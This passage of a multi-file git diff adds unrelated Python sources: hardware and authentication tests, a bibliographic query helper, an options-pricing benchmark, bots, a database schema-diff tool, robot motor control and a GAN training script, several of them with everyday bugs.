pynq.lib.arduino import ARDUINO +from pynq.lib.arduino import ARDUINO_SWCFG_DIOALL +from pynq.lib.arduino import ARDUINO_DIO_BASEADDR +from pynq.lib.arduino import ARDUINO_DIO_TRI_OFFSET +from pynq.lib.arduino import ARDUINO_DIO_DATA_OFFSET +from pynq.lib.arduino import ARDUINO_CFG_DIO_ALLOUTPUT +from pynq.lib.arduino import ARDUINO_CFG_DIO_ALLINPUT + + +__author__ = "Yun Rock Qu" +__copyright__ = "Copyright 2016, Xilinx" +__email__ = "pynq_support@xilinx.com" + + +try: + _ = Overlay('interface.bit', download=False) + flag = True +except IOError: + flag = False + + +@pytest.mark.skipif(not flag, reason="need base overlay to run") +def test_arduino_devmode(): + """Tests the Arduino DevMode. + + The first test will instantiate DevMode objects with various switch + configurations. The returned objects should not be None. + + The second test write a command to the mailbox and read another command + from the mailbox. Test whether the write and the read are successful. + + """ + ol = Overlay('base.bit') + + for mb_info in [ARDUINO]: + assert Arduino_DevMode(mb_info, ARDUINO_SWCFG_DIOALL) is not None + ol.reset() + + # Initiate the Microblaze + microblaze = Arduino_DevMode(mb_info, ARDUINO_SWCFG_DIOALL) + microblaze.start() + assert microblaze.status() == "RUNNING" + + # Test whether writing is successful + data = 0 + microblaze.write_cmd(ARDUINO_DIO_BASEADDR + ARDUINO_DIO_TRI_OFFSET, + ARDUINO_CFG_DIO_ALLOUTPUT) + microblaze.write_cmd(ARDUINO_DIO_BASEADDR + ARDUINO_DIO_DATA_OFFSET, + data) + + # Test whether reading is successful + microblaze.write_cmd(ARDUINO_DIO_BASEADDR + ARDUINO_DIO_TRI_OFFSET, + ARDUINO_CFG_DIO_ALLINPUT) + data = microblaze.read_cmd(ARDUINO_DIO_BASEADDR + + ARDUINO_DIO_DATA_OFFSET) + assert data is not None + + # Stop the Microblaze + microblaze.stop() + assert microblaze.status() == "STOPPED" + ol.reset() + + del ol diff --git a/pool/shard009/Python/0081007_test_crowd_client.py b/pool/shard009/Python/0081007_test_crowd_client.py new file mode 100644 index 0000000000000000000000000000000000000000..2d79d090755286a3d0163ce3e111c0f40aa4d9c0 --- /dev/null +++ b/pool/shard009/Python/0081007_test_crowd_client.py @@ -0,0 +1,82 @@ +import random +import string +from pylons import config +from hamcrest import * +from joj.tests import * +from joj.crowd.client import CrowdClient, SessionNotFoundException, ClientException, AuthenticationFailedException +from joj.crowd.crowd_client_factory import CrowdClientFactory +import unittest + + +class CrowdClientTests(TestController): + + client = None + username = None + + def create_user(self): + self.username = '3tnmjrtlkg8df9gjdf9' + self.password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20)) + + self.tearDown() + + u = self.client.create_user(self.username, + 'Test', + 'User', + 'test@test.com', + self.password) + + def tearDown(self): + if self.client.use_crowd and self.username: + try: + self.client.delete_user(self.username) + except ClientException: + pass + + def setUp(self): + self.client = CrowdClientFactory().get_client() + if not self.client.use_crowd: + raise self.skipTest("Can not talk to crowd") + + def test_authentication_with_valid_credentials(self): + self.create_user() + + self.client.check_authenticated(self.username, self.password) + + def test_change_password_with_valid_credentials(self): + self.create_user() + new_password = "hard to guess and very long" + + self.client.update_users_password(self.username, new_password) + + self.client.check_authenticated(self.username, new_password) + + def test_user_session_control_with_valid_credentials(self): + self.create_user() + + response = self.client.create_user_session(self.username, self.password, remote_addr="80.252.78.170") + obj = self.client.verify_user_session(response['token']) + + self.assertNotEqual(obj, None) + + # Delete the session + self.client.delete_session(response['token']) + + self.assertRaises(SessionNotFoundException, lambda: self.client.verify_user_session(response['token'])) + + def test_user_session_request_with_invalid_credentials(self): + self.create_user() + + self.assertRaises( + AuthenticationFailedException, + lambda:self.client.create_user_session("crowd-admin", "sddfghfh", "127.0.0.1")) + + def test_duff_token(self): + + self.assertRaises(SessionNotFoundException, lambda: self.client.verify_user_session("abc123")) + + def test_get_user_info_returns_populated_object(self): + self.create_user() + + user = self.client.get_user_info(self.username) + + assert_that(self.username, is_(self.username), "username") diff --git a/pool/shard009/Python/0081012_utils.py b/pool/shard009/Python/0081012_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..30b8ae474962aec64a16942777ed071578b3d185 --- /dev/null +++ b/pool/shard009/Python/0081012_utils.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +__all__ = ['doi_to_wos', 'query', 'single'] + +from xml.etree import ElementTree as _ET +from xml.dom import minidom as _minidom +import re as _re + + +def _get_records(wosclient, wos_query, count=5, offset=1): + """Get the XML records for both WOS lite and premium.""" + if wosclient.is_lite(): + result = wosclient.search(wos_query, count, offset) + pattern = r'<{0}>.*?'.format('return') + return _re.search(pattern, result, _re.S).group(0) + else: + return wosclient.search(wos_query, count, offset).records + + +def prettify(xml): + xml = _minidom.parseString(xml).toprettyxml(indent=' '*4) + return '\n'.join([line for line in xml.split('\n') if line.strip()]) + + +def single(wosclient, wos_query, xml_query=None, count=5, offset=1): + """Perform a single Web of Science query and then XML query the results.""" + records = _get_records(wosclient, wos_query, count, offset) + xml = _re.sub(' xmlns="[^"]+"', '', records, count=1).encode('utf-8') + if not xml_query: + return prettify(xml) + xml = _ET.fromstring(xml) + return [el.text for el in xml.findall(xml_query)] + + +def query(wosclient, wos_query, xml_query=None, count=5, offset=1, limit=100): + """Query Web of Science and XML query results with multiple requests.""" + results = [single(wosclient, wos_query, xml_query, min(limit, count-x+1), x) + for x in range(offset, count+1, limit)] + if xml_query: + return [el for res in results for el in res] + + if wosclient.is_lite(): + pattern = _re.compile(r'.*?|.*', _re.DOTALL) + res_string = '\n%s' + else: + pattern = _re.compile(r'^<\?xml.*?\n\n|\n$.*') + res_string = '\n%s' + return res_string % '\n'.join(pattern.sub('', res) for res in results) + + +def doi_to_wos(wosclient, doi): + """Convert DOI to WOS identifier.""" + if wosclient.is_lite(): + raise NotImplementedError('Not implemented for WOS Lite') + + results = query(wosclient, 'DO="%s"' % doi, './REC/UID', count=1) + return results[0].lstrip('WOS:') if results else None diff --git a/pool/shard009/Python/0081014_blacksch.py b/pool/shard009/Python/0081014_blacksch.py new file mode 100644 index 0000000000000000000000000000000000000000..fdd3b34722d0ce36b8baf2a13b551f97cb0887a4 --- /dev/null +++ b/pool/shard009/Python/0081014_blacksch.py @@ -0,0 +1,90 @@ +# Copyright (C) 2018 Intel Corporation +# +# SPDX-License-Identifier: MIT + +import numpy as np +from numpy import log, exp +from .bench import Bench + +try: + import numpy.random_intel as rnd +except: + import numpy.random as rnd +try: + from numpy import erf +except: + from scipy.special import erf + +try: + from numpy import invsqrt + numpy_ver += "-invsqrt" +except: + invsqrt = lambda x: 1.0/np.sqrt(x) + +try: + xrange +except NameError: + xrange = range + +SEED = 7777777 +S0L = 10.0 +S0H = 50.0 +XL = 10.0 +XH = 50.0 +TL = 1.0 +TH = 2.0 +RISK_FREE = 0.1 +VOLATILITY = 0.2 +TEST_ARRAY_LENGTH = 1024 + +class Blacksch(Bench): + sizes = {'large': 200000000, 'small': 100000000, 'tiny': 1000000, 'test': 100} + + def _gen_data(self, nopt): + return ( + rnd.uniform(S0L, S0H, nopt), + rnd.uniform(XL, XH, nopt), + rnd.uniform(TL, TH, nopt), + ) + + def _black_scholes (self, nopt, price, strike, t, rate, vol ): + mr = -rate + sig_sig_two = vol * vol * 2 + + P = price + S = strike + T = t + + a = log(P / S) + b = T * mr + + z = T * sig_sig_two + c = 0.25 * z + y = invsqrt(z) + + w1 = (a - b + c) * y + w2 = (a - b - c) * y + + d1 = 0.5 + 0.5 * erf(w1) + d2 = 0.5 + 0.5 * erf(w2) + + Se = exp(b) * S + + call = P * d1 - Se * d2 + put = call - P + Se + + return (call, put) + + def _ops(self, n): + # TODO: Need better ops count here + return 2E-9 * n*11 + + def _make_args(self, n): + self._nopt=n + self._price, self._strike, self._t = self._gen_data(self._nopt) + self._call = np.zeros(self._nopt, dtype=np.float64) + self._put = -np.ones(self._nopt, dtype=np.float64) + + def _compute(self): + self._black_scholes(self._nopt, self._price, self._strike, self._t, RISK_FREE, VOLATILITY) + diff --git a/pool/shard009/Python/0081017_slackbot.py b/pool/shard009/Python/0081017_slackbot.py new file mode 100644 index 0000000000000000000000000000000000000000..3d056dface1eef382501691a22edd44e4586dc2c --- /dev/null +++ b/pool/shard009/Python/0081017_slackbot.py @@ -0,0 +1,30 @@ +import os +import time +from slackclient import SlackClient + +token = os.environ['SLACK_API_TOKEN'] +sc = SlackClient(token) + +checkforconnection() + +def getlastmsg(): + last_three = sc.api_call("channels.history", channel="C3B6Z61U3", count="1") + for m in last_three["messages"]: + print(m["user"] + ": " + m["text"]) + +sc.api_call("chat.postMessage", as_user="true:", channel="C3B6Z61U3", text="greeting") + +''' +sc.rtm_send_message(channel="python", message="test") +while(i != "shutdown_bot") + i = m["text"] + sc.api_call("chat.postMessage", as_user="true:", channel="C3B6Z61U3", text="greeting") +''' + +def checkforconnection(): + if sc.rtm_connect(): + print("Bot connected and running!") + else: + print("Connection failed. Invalid Slack token or bot ID?") + +if __name__ == "__main__": diff --git a/pool/shard009/Python/0081021_schema_diff.py b/pool/shard009/Python/0081021_schema_diff.py new file mode 100644 index 0000000000000000000000000000000000000000..058cb8934423c1e435fe08db339bc2693f14c2e3 --- /dev/null +++ b/pool/shard009/Python/0081021_schema_diff.py @@ -0,0 +1,286 @@ +#!/usr/bin/env python +# Copyright 2012 OpenStack Foundation +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +""" +Utility for diff'ing two versions of the DB schema. + +Each release cycle the plan is to compact all of the migrations from that +release into a single file. This is a manual and, unfortunately, error-prone +process. To ensure that the schema doesn't change, this tool can be used to +diff the compacted DB schema to the original, uncompacted form. + +The database is specified by providing a SQLAlchemy connection URL WITHOUT the +database-name portion (that will be filled in automatically with a temporary +database name). + +The schema versions are specified by providing a git ref (a branch name or +commit hash) and a SQLAlchemy-Migrate version number: + +Run like: + + MYSQL: + + ./tools/db/schema_diff.py mysql://root@localhost \ + master:latest my_branch:82 + + POSTGRESQL: + + ./tools/db/schema_diff.py postgresql://localhost \ + master:latest my_branch:82 +""" + +from __future__ import print_function + +import datetime +import glob +from nova import i18n +import os +import subprocess +import sys + +_ = i18n._ + +# Dump + + +def dump_db(db_driver, db_name, db_url, migration_version, dump_filename): + if not db_url.endswith('/'): + db_url += '/' + + db_url += db_name + + db_driver.create(db_name) + try: + _migrate(db_url, migration_version) + db_driver.dump(db_name, dump_filename) + finally: + db_driver.drop(db_name) + + +# Diff + + +def diff_files(filename1, filename2): + pipeline = ['diff -U 3 %(filename1)s %(filename2)s' + % {'filename1': filename1, 'filename2': filename2}] + + # Use colordiff if available + if subprocess.call(['which', 'colordiff']) == 0: + pipeline.append('colordiff') + + pipeline.append('less -R') + + cmd = ' | '.join(pipeline) + subprocess.check_call(cmd, shell=True) + + +# Database + + +class Mysql(object): + + def create(self, name): + subprocess.check_call(['mysqladmin', '-u', 'root', 'create', name]) + + def drop(self, name): + subprocess.check_call(['mysqladmin', '-f', '-u', 'root', 'drop', name]) + + def dump(self, name, dump_filename): + subprocess.check_call( + 'mysqldump -u root %(name)s > %(dump_filename)s' + % {'name': name, 'dump_filename': dump_filename}, + shell=True) + + +class Postgresql(object): + + def create(self, name): + subprocess.check_call(['createdb', name]) + + def drop(self, name): + subprocess.check_call(['dropdb', name]) + + def dump(self, name, dump_filename): + subprocess.check_call( + 'pg_dump %(name)s > %(dump_filename)s' + % {'name': name, 'dump_filename': dump_filename}, + shell=True) + + +def _get_db_driver_class(db_url): + try: + return globals()[db_url.split('://')[0].capitalize()] + except KeyError: + raise Exception(_("database %s not supported") % db_url) + + +# Migrate + + +MIGRATE_REPO = os.path.join(os.getcwd(), "nova/db/sqlalchemy/migrate_repo") + + +def _migrate(db_url, migration_version): + earliest_version = _migrate_get_earliest_version() + + # NOTE(sirp): sqlalchemy-migrate currently cannot handle the skipping of + # migration numbers. + _migrate_cmd( + db_url, 'version_control', str(earliest_version - 1)) + + upgrade_cmd = ['upgrade'] + if migration_version != 'latest': + upgrade_cmd.append(str(migration_version)) + + _migrate_cmd(db_url, *upgrade_cmd) + + +def _migrate_cmd(db_url, *cmd): + manage_py = os.path.join(MIGRATE_REPO, 'manage.py') + + args = ['python', manage_py] + args += cmd + args += ['--repository=%s' % MIGRATE_REPO, + '--url=%s' % db_url] + + subprocess.check_call(args) + + +def _migrate_get_earliest_version(): + versions_glob = os.path.join(MIGRATE_REPO, 'versions', '???_*.py') + + versions = [] + for path in glob.iglob(versions_glob): + filename = os.path.basename(path) + prefix = filename.split('_', 1)[0] + try: + version = int(prefix) + except ValueError: + pass + versions.append(version) + + versions.sort() + return versions[0] + + +# Git + + +def git_current_branch_name(): + ref_name = git_symbolic_ref('HEAD', quiet=True) + current_branch_name = ref_name.replace('refs/heads/', '') + return current_branch_name + + +def git_symbolic_ref(ref, quiet=False): + args = ['git', 'symbolic-ref', ref] + if quiet: + args.append('-q') + proc = subprocess.Popen(args, stdout=subprocess.PIPE) + stdout, stderr = proc.communicate() + return stdout.strip() + + +def git_checkout(branch_name): + subprocess.check_call(['git', 'checkout', branch_name]) + + +def git_has_uncommited_changes(): + return subprocess.call(['git', 'diff', '--quiet', '--exit-code']) == 1 + + +# Command + + +def die(msg): + print("ERROR: %s" % msg, file=sys.stderr) + sys.exit(1) + + +def usage(msg=None): + if msg: + print("ERROR: %s" % msg, file=sys.stderr) + + prog = "schema_diff.py" + args = ["", "", + ""] + + print("usage: %s %s" % (prog, ' '.join(args)), file=sys.stderr) + sys.exit(1) + + +def parse_options(): + try: + db_url = sys.argv[1] + except IndexError: + usage("must specify DB connection url") + + try: + orig_branch, orig_version = sys.argv[2].split(':') + except IndexError: + usage('original branch and version required (e.g. master:82)') + + try: + new_branch, new_version = sys.argv[3].split(':') + except IndexError: + usage('new branch and version required (e.g. master:82)') + + return db_url, orig_branch, orig_version, new_branch, new_version + + +def main(): + timestamp = datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S") + + ORIG_DB = 'orig_db_%s' % timestamp + NEW_DB = 'new_db_%s' % timestamp + + ORIG_DUMP = ORIG_DB + ".dump" + NEW_DUMP = NEW_DB + ".dump" + + options = parse_options() + db_url, orig_branch, orig_version, new_branch, new_version = options + + # Since we're going to be switching branches, ensure user doesn't have any + # uncommited changes + if git_has_uncommited_changes(): + die("You have uncommited changes. Please commit them before running " + "this command.") + + db_driver = _get_db_driver_class(db_url)() + + users_branch = git_current_branch_name() + git_checkout(orig_branch) + + try: + # Dump Original Schema + dump_db(db_driver, ORIG_DB, db_url, orig_version, ORIG_DUMP) + + # Dump New Schema + git_checkout(new_branch) + dump_db(db_driver, NEW_DB, db_url, new_version, NEW_DUMP) + + diff_files(ORIG_DUMP, NEW_DUMP) + finally: + git_checkout(users_branch) + + if os.path.exists(ORIG_DUMP): + os.unlink(ORIG_DUMP) + + if os.path.exists(NEW_DUMP): + os.unlink(NEW_DUMP) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0081022_curvature2d.py b/pool/shard009/Python/0081022_curvature2d.py new file mode 100644 index 0000000000000000000000000000000000000000..66c8a6c65440e94047cdc385ebbe92b6ac469f09 --- /dev/null +++ b/pool/shard009/Python/0081022_curvature2d.py @@ -0,0 +1,46 @@ +# ##### BEGIN GPL LICENSE BLOCK ##### +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software Foundation, +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# ##### END GPL LICENSE BLOCK ##### + +# Filename : curvature2d.py +# Author : Stephane Grabli +# Date : 04/08/2005 +# Purpose : The stroke points are colored in gray levels and depending +# on the 2d curvature value + +from freestyle.chainingiterators import ChainSilhouetteIterator +from freestyle.predicates import ( + NotUP1D, + QuantitativeInvisibilityUP1D, + TrueUP1D, + ) +from freestyle.shaders import ( + ConstantThicknessShader, + StrokeTextureShader, + py2DCurvatureColorShader, + ) +from freestyle.types import Operators, Stroke + + +Operators.select(QuantitativeInvisibilityUP1D(0)) +Operators.bidirectional_chain(ChainSilhouetteIterator(), NotUP1D(QuantitativeInvisibilityUP1D(0))) +shaders_list = [ + StrokeTextureShader("smoothAlpha.bmp", Stroke.OPAQUE_MEDIUM, False), + ConstantThicknessShader(5), + py2DCurvatureColorShader() + ] +Operators.create(TrueUP1D(), shaders_list) diff --git a/pool/shard009/Python/0081027_tasks.py b/pool/shard009/Python/0081027_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..f65d97c34d2ac4f98a1c45e3afc478d913406ec6 --- /dev/null +++ b/pool/shard009/Python/0081027_tasks.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +"""Celery tasks.""" + +from dateutil.parser import parse +from kit import Celery, get_config +from twitter import Api + +from .models import RetweetCount, Tweet, User + +celery = Celery(__name__) + +# Twitter API client +client = Api() + +@celery.periodic_task(run_every=1800) +def get_user_timeline(): + """Retrieve a user's most recent tweets and update retweet counts for each. + + This function runs automatically every 10 minutes in a Celery worker. + + """ + for user in User.q: + tweet_infos = client.GetUserTimeline( + user.handle, # the user we are interested in + count=200, # number of recent tweets to retrieve + trim_user=True # not interested in who retweeted + ) + for tweet_info in tweet_infos: + tweet, flag = Tweet.retrieve( + from_key=True, + flush_if_new=True, + **{ + 'id': tweet_info.id, + 'text': tweet_info.text, + 'created_at': parse(tweet_info.created_at), + 'user_handle': user.handle, + } + ) + # we add a new retweet count for this tweet + tweet.retweet_counts.append( + RetweetCount(retweet_count=tweet_info.retweet_count) + ) + + diff --git a/pool/shard009/Python/0081033_pixel_bots.py b/pool/shard009/Python/0081033_pixel_bots.py new file mode 100644 index 0000000000000000000000000000000000000000..708102787b52edb4daba7ce58763c8fdc66a54f5 --- /dev/null +++ b/pool/shard009/Python/0081033_pixel_bots.py @@ -0,0 +1,252 @@ +import RPi.GPIO as GPIO + +import time + +import socket + +import sys + +HOST, PORT = "192.168.193.1", 27015 + + +# GPIO Pins set up +GPIO.setmode(GPIO.BOARD) +# 7,11,13,15 for motor control +GPIO.setup(7, GPIO.OUT) + +GPIO.setup(11, GPIO.OUT) + +GPIO.setup(13, GPIO.OUT) + +GPIO.setup(15, GPIO.OUT) + +// 12 for LED +GPIO.setup(12,GPIO.OUT) + + +flag = False + + +def forward(): + + GPIO.output(7, 0) + + GPIO.output(11,1) + + GPIO.output(13,1) + + GPIO.output(15,0) + + time.sleep(0.75) + + + +def back(): + + a=5 + + #if(flag): + + #GPIO.output(12,1) + + #time.sleep(2) + + #GPIO.output(12,0) + + while(a!= 0): + + GPIO.output(7, 1) + + GPIO.output(11,0) + + GPIO.output(13,0) + + GPIO.output(15,1) + + time.sleep(0.2) + + a=a-1 + + #GPIO.output(12,0) + + + +def left(): + + + #while(a!=0): + + GPIO.output(7, 1) + + GPIO.output(11,0) + + GPIO.output(13,1) + + GPIO.output(15,0) + + time.sleep(0.85) + + #a=a-1 + + + + +def right(): + + #b=20 + + #while(b != 0): + + GPIO.output(7, 0) + + GPIO.output(11,1) + + GPIO.output(13,0) + + GPIO.output(15,1) + + time.sleep(0.85) + + #b=b-1 + + + +def glow_led(): + + GPIO.output(12,1) + + time.sleep(2) + + GPIO.output(12,0) + + + +def spl_stop(): + + time.sleep(5) + + + +def stop(): + + GPIO.output(7, 1) + + GPIO.output(11,1) + + GPIO.output(13,1) + + GPIO.output(15,1) + + time.sleep(0.55) + + + +forward() + +stop() + +left() + +stop() + +right() + +stop() + + + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + +s.connect((HOST, PORT)) + +s.send(b'rpi') + +print("Initiating server connection...") + +s.send('rpi\n') +print(str(s.recv(20))) + +while(1) : + + s.send('waiting\n') + + cmd=str(s.recv(2)) + + if cmd=='fw': + + print("moving forward...!!") + + forward() + + stop() + + if cmd=='lf': + print("moving left....!!") + left() + stop() + forward() + stop() + if cmd=='rf': + print("moving right...!!") + right() + stop() + forward() + stop() + if cmd=='lt': + #flag=true + #forward() + #flag=false + #stop() + left() + stop() + if cmd=='rt': + #flag=true + right() + stop() +# forward() +# stop() +# flag=false + if cmd== 'gf': + print("gf") + glow_led() + stop() + forward() + stop() + if cmd == 'lg': + print("lg") + left() + stop() + glow_led() + stop() + forward() + stop() + if cmd == 'rg': + print("rg") + right() + stop() + glow_led() + stop() + forward() + stop() + if cmd == 'sf': + print("sf") + spl_stop() + forward() + stop() + if cmd == 'sr': + print("sr") + right() + stop() + spl_stop() + forward() + stop() + if cmd == 'sl': + print("sl") + left() + stop() + spl_stop() + forward() + stop() + +GPIO.cleanup() diff --git a/pool/shard009/Python/0081035_add-column.py b/pool/shard009/Python/0081035_add-column.py new file mode 100644 index 0000000000000000000000000000000000000000..670e2152cde79182d3b3d0012a4946014f2d2b69 --- /dev/null +++ b/pool/shard009/Python/0081035_add-column.py @@ -0,0 +1,71 @@ +"Example showing how to add a column on a existing column" + +from tables import * + +class Particle(IsDescription): + name = StringCol(16, pos=1) # 16-character String + lati = Int32Col(pos=2) # integer + longi = Int32Col(pos=3) # integer + pressure = Float32Col(pos=4) # float (single-precision) + temperature = Float64Col(pos=5) # double (double-precision) + +# Open a file in "w"rite mode +fileh = openFile("add-column.h5", mode = "w") +# Create a new group +group = fileh.createGroup(fileh.root, "newgroup") + +# Create a new table in newgroup group +table = fileh.createTable(group, 'table', Particle, "A table", Filters(1)) + +# Append several rows +table.append([("Particle: 10", 10, 0, 10*10, 10**2), + ("Particle: 11", 11, -1, 11*11, 11**2), + ("Particle: 12", 12, -2, 12*12, 12**2)]) + +print "Contents of the original table:", fileh.root.newgroup.table[:] + +# close the file +fileh.close() + +# Open it again in append mode +fileh = openFile("add-column.h5", "a") +group = fileh.root.newgroup +table = group.table + +# Get a description of table in dictionary format +descr = table.description._v_colObjects +descr2 = descr.copy() + +# Add a column to description +descr2["hot"] = BoolCol(dflt=False) + +# Create a new table with the new description +table2 = fileh.createTable(group, 'table2', descr2, "A table", Filters(1)) + +# Copy the user attributes +table.attrs._f_copy(table2) + +# Fill the rows of new table with default values +for i in xrange(table.nrows): + table2.row.append() +# Flush the rows to disk +table2.flush() + +# Copy the columns of source table to destination +for col in descr: + getattr(table2.cols, col)[:] = getattr(table.cols, col)[:] + +# Fill the new column +table2.cols.hot[:] = [ row["temperature"] > 11**2 for row in table ] + +# Remove the original table +table.remove() + +# Move table2 to table +table2.move('/newgroup', 'table') + +# Print the new table +print "Contents of the table with column added:", fileh.root.newgroup.table[:] + +# Finally, close the file +fileh.close() diff --git a/pool/shard009/Python/0081036_train_128.py b/pool/shard009/Python/0081036_train_128.py new file mode 100644 index 0000000000000000000000000000000000000000..2ad47965672079fef49a8838778632f574269d67 --- /dev/null +++ b/pool/shard009/Python/0081036_train_128.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python + +import numpy as np +import chainer +import chainer.functions as F +import chainer.links as L +import chainer.datasets.image_dataset as ImageDataset +import six +import os +from PIL import Image + +from chainer import cuda, optimizers, serializers, Variable +from chainer import training +from chainer.training import extensions + +import argparse + +import unet +import lnet + +#from images_dict import img_dict +from img2imgDataset import Image2ImageDataset + +chainer.cuda.set_max_workspace_size(1024 * 1024 * 1024) +os.environ["CHAINER_TYPE_CHECK"] = "0" + + +def main(): + parser = argparse.ArgumentParser( + description='chainer line drawing colorization') + parser.add_argument('--batchsize', '-b', type=int, default=16, + help='Number of images in each mini-batch') + parser.add_argument('--epoch', '-e', type=int, default=20, + help='Number of sweeps over the dataset to train') + parser.add_argument('--gpu', '-g', type=int, default=-1, + help='GPU ID (negative value indicates CPU)') + parser.add_argument('--dataset', '-i', default='./images/', + help='Directory of image files.') + parser.add_argument('--out', '-o', default='result', + help='Directory to output the result') + parser.add_argument('--resume', '-r', default='', + help='Resume the training from snapshot') + parser.add_argument('--seed', type=int, default=0, + help='Random seed') + parser.add_argument('--snapshot_interval', type=int, default=10000, + help='Interval of snapshot') + parser.add_argument('--display_interval', type=int, default=100, + help='Interval of displaying log to console') + args = parser.parse_args() + + print('GPU: {}'.format(args.gpu)) + print('# Minibatch-size: {}'.format(args.batchsize)) + print('# epoch: {}'.format(args.epoch)) + print('') + + root = args.dataset + #model = "./model_paint" + + cnn = unet.UNET() + #serializers.load_npz("result/model_iter_10000", cnn) + + dis = unet.DIS() + #serializers.load_npz("result/model_dis_iter_20000", dis) + + l = lnet.LNET() + serializers.load_npz("models/liner_f", l) + + dataset = Image2ImageDataset( + "dat/images_color_train.dat", root + "line/", root + "color/", train=True) + # dataset.set_img_dict(img_dict) + train_iter = chainer.iterators.SerialIterator(dataset, args.batchsize) + + if args.gpu >= 0: + chainer.cuda.get_device(args.gpu).use() # Make a specified GPU current + cnn.to_gpu() # Copy the model to the GPU + dis.to_gpu() # Copy the model to the GPU + l.to_gpu() + + # Setup optimizer parameters. + opt = optimizers.Adam(alpha=0.0001) + opt.setup(cnn) + opt.add_hook(chainer.optimizer.WeightDecay(1e-5), 'hook_cnn') + + opt_d = chainer.optimizers.Adam(alpha=0.0001) + opt_d.setup(dis) + opt_d.add_hook(chainer.optimizer.WeightDecay(1e-5), 'hook_dec') + + # Set up a trainer + updater = ganUpdater( + models=(cnn, dis, l), + iterator={ + 'main': train_iter, + #'test': test_iter + }, + optimizer={ + 'cnn': opt, + 'dis': opt_d}, + device=args.gpu) + + trainer = training.Trainer(updater, (args.epoch, 'epoch'), out=args.out) + + snapshot_interval = (args.snapshot_interval, 'iteration') + snapshot_interval2 = (args.snapshot_interval * 2, 'iteration') + trainer.extend(extensions.dump_graph('cnn/loss')) + trainer.extend(extensions.snapshot(), trigger=snapshot_interval2) + trainer.extend(extensions.snapshot_object( + cnn, 'cnn_128_iter_{.updater.iteration}'), trigger=snapshot_interval) + trainer.extend(extensions.snapshot_object( + dis, 'cnn_128_dis_iter_{.updater.iteration}'), trigger=snapshot_interval) + trainer.extend(extensions.snapshot_object( + opt, 'optimizer_'), trigger=snapshot_interval) + trainer.extend(extensions.LogReport(trigger=(10, 'iteration'), )) + trainer.extend(extensions.PrintReport( + ['epoch', 'cnn/loss', 'cnn/loss_rec', 'cnn/loss_adv', 'cnn/loss_tag', 'cnn/loss_l', 'dis/loss'])) + trainer.extend(extensions.ProgressBar(update_interval=20)) + + trainer.run() + + if args.resume: + # Resume from a snapshot + chainer.serializers.load_npz(args.resume, trainer) + + # Save the trained model + chainer.serializers.save_npz(os.path.join(out_dir, 'model_final'), cnn) + chainer.serializers.save_npz(os.path.join(out_dir, 'optimizer_final'), opt) + + +class ganUpdater(chainer.training.StandardUpdater): + + def __init__(self, *args, **kwargs): + self.cnn, self.dis, self.l = kwargs.pop('models') + self._iter = 0 + super(ganUpdater, self).__init__(*args, **kwargs) + + def loss_cnn(self, cnn, x_out, t_out, y_out, lam1=1, lam2=1, lam3=10): + loss_rec = lam1 * (F.mean_absolute_error(x_out, t_out)) + loss_adv = lam2 * y_out + l_t, e_t = self.l.calc((t_out - 128) / 128) + l_x, e_x = self.l.calc((x_out - 128) / 128) + loss_l = lam3 * (F.mean_absolute_error(l_x, l_t)) + loss = loss_rec + loss_adv + loss_l + chainer.report({'loss': loss, "loss_rec": loss_rec, + 'loss_adv': loss_adv, "loss_l": loss_l}, cnn) + + return loss + + def loss_dis(self, dis, y_in, y_out): + L1 = y_in + L2 = y_out + loss = L1 + L2 + chainer.report({'loss': loss}, dis) + return loss + + def update_core(self): + xp = self.cnn.xp + self._iter += 1 + + batch = self.get_iterator('main').next() + batchsize = len(batch) + + w_in = 128 + w_out = 128 + + x_in = xp.zeros((batchsize, 4, w_in, w_in)).astype("f") + t_out = xp.zeros((batchsize, 3, w_out, w_out)).astype("f") + + for i in range(batchsize): + x_in[i, :] = xp.asarray(batch[i][0]) + t_out[i, :] = xp.asarray(batch[i][1]) + x_in = Variable(x_in) + t_out = Variable(t_out) + + x_out = self.cnn.calc(x_in, test=False) + + cnn_optimizer = self.get_optimizer('cnn') + dis_optimizer = self.get_optimizer('dis') + + y_target = self.dis(x_out, Variable( + xp.zeros(batchsize, dtype=np.int32)), test=False) + + cnn_optimizer.update(self.loss_cnn, self.cnn, x_out, t_out, y_target) + + x_out.unchain_backward() + y_fake = self.dis(x_out, Variable( + xp.ones(batchsize, dtype=np.int32)), test=False) + y_real = self.dis(t_out, Variable( + xp.zeros(batchsize, dtype=np.int32)), test=False) + dis_optimizer.update(self.loss_dis, self.dis, y_real, y_fake) + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081042_run.py b/pool/shard009/Python/0081042_run.py new file mode 100644 index 0000000000000000000000000000000000000000..8f07c688f6265e895806d1329e2899c1bcd5e91f --- /dev/null +++ b/pool/shard009/Python/0081042_run.py @@ -0,0 +1,44 @@ +import subprocess as sub +from aux import * + +RUN_TIMES = 20 + +#EXECUTION OF PROGRAM +def run( target , size , first ) : + #if first : + #sub.check_output( "make -f Makefile " + target , stderr = sub.STDOUT , shell = True ) + #sub.check_output( "export OMP_NUM_THREADS=" + threads , stderr = sub.STDOUT , shell = True ) + output = sub.check_output( "./" + target + ".out " + size + " 0" , stderr = sub.STDOUT , shell = True ) + return output + +#GET OUTPUT OF EXECUTION +def get_time( output ) : + lines = 